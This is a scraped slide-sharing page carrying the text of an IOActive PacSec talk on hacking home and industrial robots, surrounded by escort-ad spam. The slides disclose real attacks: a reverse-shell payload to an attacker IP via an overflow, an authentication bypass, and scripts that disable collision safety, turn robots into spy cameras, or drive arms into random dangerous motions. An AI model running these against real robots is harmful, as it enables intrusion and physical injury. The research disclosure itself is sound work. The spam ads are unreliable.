Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jPacSecJP
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalPacSecJP
 
Rouault imbert view_alpc_rpc_pacsec_jp
Rouault imbert view_alpc_rpc_pacsec_jpRouault imbert view_alpc_rpc_pacsec_jp
Rouault imbert view_alpc_rpc_pacsec_jpPacSecJP
 
Rouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecRouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecPacSecJP
 
Di shen pacsec_jp-final
Di shen pacsec_jp-finalDi shen pacsec_jp-final
Di shen pacsec_jp-finalPacSecJP
 
Anıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaAnıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaPacSecJP
 
Anıl kurmuş pacsec3
Anıl kurmuş pacsec3Anıl kurmuş pacsec3
Anıl kurmuş pacsec3PacSecJP
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...PacSecJP
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...PacSecJP
 
Yunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpYunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpPacSecJP
 
Shusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpShusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpPacSecJP
 
Lucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalLucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalPacSecJP
 
Marc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaMarc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaPacSecJP
 
Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2PacSecJP
 
Kasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedKasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedPacSecJP
 
Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3PacSecJP
 
Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2PacSecJP
 
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalWenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalPacSecJP
 

More from PacSecJP (20)

Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-final
 
Ryder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jpRyder robertson pac-sec skeleton 2017_jp
Ryder robertson pac-sec skeleton 2017_jp
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-jYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final-j
 
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_finalYuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
Yuki chen from_out_of_memory_to_remote_code_execution_pac_sec2017_final
 
Rouault imbert view_alpc_rpc_pacsec_jp
Rouault imbert view_alpc_rpc_pacsec_jpRouault imbert view_alpc_rpc_pacsec_jp
Rouault imbert view_alpc_rpc_pacsec_jp
 
Rouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsecRouault imbert alpc_rpc_pacsec
Rouault imbert alpc_rpc_pacsec
 
Di shen pacsec_jp-final
Di shen pacsec_jp-finalDi shen pacsec_jp-final
Di shen pacsec_jp-final
 
Anıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-jaAnıl kurmuş pacsec3-ja
Anıl kurmuş pacsec3-ja
 
Anıl kurmuş pacsec3
Anıl kurmuş pacsec3Anıl kurmuş pacsec3
Anıl kurmuş pacsec3
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
 
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
Ahn pacsec2017 key-recovery_attacks_against_commercial_white-box_cryptography...
 
Yunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jpYunusov babin 7sins-pres_atm_v4(2)_jp
Yunusov babin 7sins-pres_atm_v4(2)_jp
 
Shusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jpShusei tomonaga pac_sec_20171026_jp
Shusei tomonaga pac_sec_20171026_jp
 
Lucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-finalLucas apa pacsec_slides_jp-final
Lucas apa pacsec_slides_jp-final
 
Marc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_jaMarc schoenefeld grandma‘s old handbag_draft2_ja
Marc schoenefeld grandma‘s old handbag_draft2_ja
 
Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2Marc schoenefeld grandma‘s old handbag_draft2
Marc schoenefeld grandma‘s old handbag_draft2
 
Kasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-correctedKasza smashing the_jars_j-corrected
Kasza smashing the_jars_j-corrected
 
Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3Jurczyk windows metafile_pacsec_jp3
Jurczyk windows metafile_pacsec_jp3
 
Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2Jurczyk windows metafile_pacsec_v2
Jurczyk windows metafile_pacsec_v2
 
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_finalWenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
Wenyuan xu Minrui yan can you trust autonomous vehicles_slides_liu_final
 

Recently uploaded

Real Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts ServiceReal Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts ServiceEscorts Call Girls
 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...tanu pandey
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtrahman018755
 
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...SUHANI PANDEY
 
在线制作约克大学毕业证(yu毕业证)在读证明认证可查
在线制作约克大学毕业证(yu毕业证)在读证明认证可查在线制作约克大学毕业证(yu毕业证)在读证明认证可查
在线制作约克大学毕业证(yu毕业证)在读证明认证可查ydyuyu
 
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency""Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency"growthgrids
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdfMatthew Sinclair
 
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...Neha Pandey
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Bookingdharasingh5698
 
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service Available
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service AvailableCall Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service Available
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service AvailableSeo
 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...SUHANI PANDEY
 
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...SUHANI PANDEY
 
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...SUHANI PANDEY
 
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...SUHANI PANDEY
 
Top Rated Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...
Top Rated  Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...Top Rated  Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...
Top Rated Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...Call Girls in Nagpur High Profile
 
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort Service
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort ServiceBusty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort Service
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort ServiceDelhi Call girls
 
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...
(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...Escorts Call Girls
 

Recently uploaded (20)

Real Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts ServiceReal Escorts in Al Nahda +971524965298 Dubai Escorts Service
Real Escorts in Al Nahda +971524965298 Dubai Escorts Service
 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirt
 
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
Shikrapur - Call Girls in Pune Neha 8005736733 | 100% Gennuine High Class Ind...
 
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
 
在线制作约克大学毕业证(yu毕业证)在读证明认证可查
在线制作约克大学毕业证(yu毕业证)在读证明认证可查在线制作约克大学毕业证(yu毕业证)在读证明认证可查
在线制作约克大学毕业证(yu毕业证)在读证明认证可查
 
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency""Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
 
Low Sexy Call Girls In Mohali 9053900678 🥵Have Save And Good Place 🥵
Low Sexy Call Girls In Mohali 9053900678 🥵Have Save And Good Place 🥵Low Sexy Call Girls In Mohali 9053900678 🥵Have Save And Good Place 🥵
Low Sexy Call Girls In Mohali 9053900678 🥵Have Save And Good Place 🥵
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
𓀤Call On 7877925207 𓀤 Ahmedguda Call Girls Hot Model With Sexy Bhabi Ready Fo...
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
 
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service Available
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service AvailableCall Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service Available
Call Girls Ludhiana Just Call 98765-12871 Top Class Call Girl Service Available
 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
 
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
 
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
Pirangut | Call Girls Pune Phone No 8005736733 Elite Escort Service Available...
 
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
Ganeshkhind ! Call Girls Pune - 450+ Call Girl Cash Payment 8005736733 Neha T...
 
Top Rated Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...
Top Rated  Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...Top Rated  Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...
Top Rated Pune Call Girls Daund ⟟ 6297143586 ⟟ Call Me For Genuine Sex Servi...
 
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort Service
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort ServiceBusty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort Service
Busty Desi⚡Call Girls in Vasundhara Ghaziabad >༒8448380779 Escort Service
 
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...
(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...(+971568250507  ))#  Young Call Girls  in Ajman  By Pakistani Call Girls  in ...
(+971568250507 ))# Young Call Girls in Ajman By Pakistani Call Girls in ...
 
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort ServiceCall Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
Call Girls in Prashant Vihar, Delhi 💯 Call Us 🔝9953056974 🔝 Escort Service
 

Lucas apa pacsec slides

  • 1. 1 Hacking Robots Before Skynet Cesar Cerrudo CTO IOActive Labs (@cesarcer) Lucas Apa Senior Security Consultant (@lucasapa)
  • 2. Intro to Robotics ●  Modern Robotics Adoption ●  Ecosystems, Topologies and Architectures ●  Accidents and Relevant Incidents 2
  • 3. Chosen Home and Business Robots 3 SoftBank Robotics: NAO and Pepper ~20000 $114M Funding UBTECH Robotics: Alpha 1S and Alpha 2 $100M Funding ROBOTIS: OP2 and THORMANG3
  • 4. Chosen Home and Business Robots 4 SoftBank Robotics: NAO and Pepper ATOM Z530 | Atom E3845 QUAD 1 GB RAM | 4 GB RAM Ethernet, WiFi, BT Linux 2.6.33-rt31-aldebaran-rt (Nao) Linux 4.0 (Pepper) Linux 3.10.72 (Android Tablet) UBTECH Robotics: Alpha 1S and Alpha 2 Linux 3.10.0 armv71 ROBOTIS: OP2 and THORMANG3 Intel Atom N2600 / Ubuntu 12.04 LTS
  • 5. Chosen Industrial Collaborative Robots 5 Universal Robots: UR3, UR5, UR10 Rethink Robotics: Baxter and Sawyer Linux 3.13.0-68 Java / C++
  • 6. Chosen Industrial Collaborative Robots 6 UR10 (Universal Robots) Baxter (Rethink Robotics) The Moley Robotic Kitchen (2xUR10 Arms) DARPA's ALIAS Robot (UR3 Arm)
  • 7. Chosen Robot Controller 7 Asratec Corp: Several robots using the affected V-Sido technology
  • 8. Hacked Robots in Action 8
  • 9. Hacked Robots in Action 9
  • 10. Research Approach ●  Threat Modeling and Risk Assessment ●  Vulnerability Assessment ●  Reverse Engineering Tactics/Strategy 1 0
  • 11. Finding Robots on Large Networks ●  Easy with mDNS (multicast DNS) •  NAO/Pepper default hostname is "nao.local" •  Baxter/Sawyer default hostname is the serial number followed by local. Ex: "011303P0017.local" or <robot name>.local •  Universal Robots UR3, UR5, UR10 default hostname is "ur.local" 1 1
  • 12. Authentication/Authorization Vulnerabilities ●  Bluetooth, WiFi & Ethernet network connectivity ●  Many unprotected services (Proprietary & Open Source) ○  Move joints in Universal Robots through 5 control TCP ports ○  V-Sido OS lacks of authentication (interface sw/hw) ○  UBTech control ports ○  ROBOTIS RoboPlus Protocol without authentication ○  Baxter/Sawyer SDK/RSDK shell to access cameras or move. ○  Attack on Pepper/NAO allows accessing most of the robots built-in modules, microphones, body control, databases, network cards, VPN secrets, face recognition modules, etc. Undocumented functions allow RCE. ○  Authentication Bypass in Pepper Admin Web Console 1 2
  • 13. Authentication Bypass in Pepper Admin Console 1 3 location ~* /libs/qimessaging/.*/qimessaging.js { auth_pam "Secure Zone"; auth_pam_service_name "nginx"; } http://192.168.1.105GET / 200 http://192.168.1.105GET /lib/requirejs/require.js?v=2.0.0 200 http://192.168.1.105GET /js/config.js?v=2.0.0 200 http://192.168.1.105GET /js/main.js?v=1.2.0 200 http://192.168.1.105GET /js/app.js?v=1.2.0 200 http://192.168.1.105GET /libs/qimessaging/1.0/qimessaging.js?v=1.2.0 401 Forbidden No real authentication ! nginx config file
  • 14. Turning Friendly Robots into Evil Robots 1 4 ●  Hacking Alpha2 to cause human damage 2 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3 connected = sock.connect((HOST, PORT)) 4 data = "" 5 print "[!] Sending Protocol HELLO" 7 sock.send("x34x12x12x00x00x00x01x00x00x00x92x01xabx91xa9 xe4xb8xadx73x73x73x73x73x73") 9 time.sleep(2) 10 print "[!] Requesting Available Actions" 12 sock.send("x34x12x07x00x00x00x01x00x00x00x92x03xa0") 13 sock.recv(1000) 14 print "[!] Uploading CHUCKY.UBX" 16 sock.send("x34x12x04x00x00x00x01x00x00x00") (...) 27 print "[!] Sending Keep-Alive" 28 sock.send("x34x12x04x00x00x00x01x00x00x00") 29 sock.recv(1000) 31 print "[!] Launching CHUCKY" 32 sock.send("x34x12x0fx00x00x00x01x00x00x00x92x05xa8x91xa6Chucky") 33 sock.close() 34 print data
  • 15. Turning Friendly Robots into Evil Robots 1 5 ●  Hacking Alpha2 to cause human damage ○  Demo
  • 16. Turning Friendly Robots into Evil Robots 1 6 ●  Hacking Alpha2 to cause human damage ○  Demo
  • 17. Robots as Insider Threats: Espionage Possibilities 1 7 2x HD Cameras + 1x 3D Camera (Pepper) 4x Microphones (NAO) Trade Secrets Facial Recognition Hitachi's EMIEW 2
  • 18. Robots as Insider Threats: Espionage Possibilities 1 8 ●  Hacking NAO/Pepper and turning it into a spy cam
  • 19. Robots as Insider Threats: Espionage Possibilities 1 9 ●  Hacking NAO/Pepper and turning it into a spy cam proxyVideo = ALProxy("ALVideoDevice", IP, PORT) resolution = vision_definitions.kQVGA colorSpace = vision_definitions.kRGBColorSpace imgClient = proxyVideo.subscribe("_client", resolution, colorSpace, 5) # Select camera. proxyVideo.setParam(vision_definitions.kCameraSelectID, cameraID) image = proxyVideo.getImageRemote(imgClient) motionProxy = ALProxy("ALMotion", IP, PORT) motionProxy.setStiffnesses("Head", 1.0) # Example showing a slow, relative move of "HeadYaw". # Calling this multiple times will move the head further. names = "HeadYaw" changes = 1 fractionMaxSpeed = 0.5 motionProxy.changeAngles(names, changes, fractionMaxSpeed) ALVideoDevice.so ALMotion.so update video feed
  • 20. Robots as Insider Threats: Espionage Possibilities 2 0 ●  Hacking NAO/Pepper and turning it into a spy cam ○  Demo
  • 21. UBTech espionage? 2 1 ●  Sends GPS coordinates encrypted with hardcoded key (Alpha 1S) ●  Sends GPS coordinates unencrypted (Alpha 2) ●  Photos are automatically synced to cloud ●  Sends IMEI and telephony data (Mobile app) ●  Sends all recognized Voice data (only to a local network IP Address) ●  Robot can be controlled from the cloud ●  All transmitted in cleartext☺
  • 22. Human Safety Protections ●  Self-collision sensors ●  External-collision (Humans/Objects) ●  Responsibility/Liability ? "Collision avoidance's aim is to avoid damaging the robot, its environment, and first of all avoid hurting people. This implies checking the environment with the metrical sensors of the robot in order to see if an arm or the base is not going to hit something or someone" 2 2
  • 23. Disabling Universal Robots Safety Protections ●  Can these robots harm a person? ○  While running at slow speed their force is more than sufficient to cause a skull fracture. ●  Integrators define "Safety Settings". ●  Limit force, momentum, speed, tool orientation, boundaries, etc. All configs set with a "Safety Password". 2 3 Safety I/O Safety Planes
  • 24. Exploiting Universal Robots Safety Protections 2 4 1.  Confirm the remote version on the UR Dashboard Server. $ nc <remoteIP> 29999 Connected: Universal Robots Dashboard Server PolyscopeVersion ← command 3.3.4.310 ← response (version disclosure) load installation notexist ← command File not found: /home/ur/ursys-3.3.4.310/GUI/notexist ← response (base folder disclosure)
  • 25. Exploiting Universal Robots Safety Protections 2 5 2.  Exploit a stack-based buffer overflow in UR Modbus TCP service. Modbus read/write vuln. (binary executed as root) (ASLR/NX) arg1 = "-c" arg2 = "/bin/bash -i >& /dev/tcp/<<myIPAddress>>/8981 0>&1" arg0 = ["/bin/bash", arg1, arg2] execve(*arg0[0], *arg0, 0)
  • 26. Exploiting Universal Robots Safety Protections 2 6
  • 27. Exploiting Universal Robots Safety Protections 2 7
  • 28. Exploiting Universal Robots Safety Protections 2 8 3.  Modify the safety.conf file to override all safety general limits, joints limits, boundaries, and safety I/O values. 4.  Force a collision in the checksum calculation, and upload the new file. We need to fake this number since integrators are likely to write a note with the current checksum value on the hardware, as this is a common best practice. 5.  Restart the robot so the safety configurations are updated by the new file. Process continuation ! >> python -c ' import subprocess, time; time.sleep(25); subprocess.Popen(["sh $$basefolder$$/ starturcontrol.sh"], shell=True ,close_fds=True)' &n
  • 29. Exploiting Universal Robots Safety Protections 2 9 6.  Load new installation file (new safety settings) 7.  Move the robot in an arbitrary, dangerous manner by exploiting an authentication issue on the UR control service. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, 30002)) for x in xrange(50): q = [random.uniform(-2*math.pi, 2*math.pi), random.uniform(-2*math.pi, 2*math.pi), random.uniform(-2*math.pi, 2*math.pi), random.uniform(-2*math.pi, 2*math.pi), random.uniform(-2*math.pi, 2*math.pi), random.uniform(-2*math.pi, 2*math.pi)] ← joint positions a = random.uniform(1, 20) ← joint acceleration v = random.uniform(1, 20) ← joint speed payload = "movej("+ str(q) + ", a="+str(a)+", v="+str(v)+")" ← move joints s.send(payload + "n") print "[!] Sent", payload time.sleep(1) data = s.recv(1024) s.close() print("Received", repr(data))
  • 32. Disabling Pepper/NAO Human Safety Settings (1/2) ●  It is possible to disable all external-collision avoidance protections by changing the state of the ALMotion module through the setExternalCollisionProtectionEnabled function. ○  NAO does not require user consent for disabling critical reflexes ○  Pepper require user consent for disabling critical reflexes (exploit Auth Bypass in Web Console) 3 2 Pepper blind spots. Arm speed is reduced when moving inside these zonesSecurity Distances NAO/Pepper
  • 33. Disabling Pepper/NAO Human Safety Settings (2/2) 3 3 """ This exploit uses the setExternalCollisionProtectionEnabled method. """ # Get the service ALMotion. motion_service = session.service("ALMotion") # Disables "Move", "LArm" and "RArm" external anti collision name = "All" enable = False motion_service.setExternalCollisionProtectionEnabled(name, enable) (…) Security protection can be disabled from the vulnerable Pepper Web Console.
  • 34. Disabling Baxter/Sawyer Human Safety Settings 3 4 ●  Arm joint mode: "Torque mode" ○  This control mode should be used with extreme caution, since this control mode bypasses collision avoidance and can result in potentially harmful motions. ○  To enable torque mode: publish a JointCommand message to the joint_command topic for a given arm to set the arm into the desired control mode and move it (mode 3): $ rostopic pub /robot/limb/<side>/joint_command baxter_core_msgs/JointCommand "{mode: 3, command: [0.0, 0.01, 0.0, 3.0, 2.55, -1.0, -2.07], names: ['left_w0', 'left_w1', 'left_w2', 'left_e0', 'left_e1', 'left_s0', 'left_s1']}" -r 100 ○  Other ways to disable collision avoidance are also possible
  • 35. Vulnerable Research Frameworks: ROS 3 5 ●  Most widely used open source framework ●  Primary goal is to support code reuse in robotics research and development. ●  Many known security problems ○  No authentication ○  No encryption ○  No sender verification ●  Secure ROS (highly experimental) by Ruffin White ○  Transport encryption, native TLS support ○  Access control ○  AppArmor process profiles ○  Not developed anymore
  • 36. ROS: Research => Production 3 6 MICO NAV2 Schunk LWA 4P JACO HiroNXO ERLE Plane REEM Manipulator PR2 Pepper
  • 37. 3 7
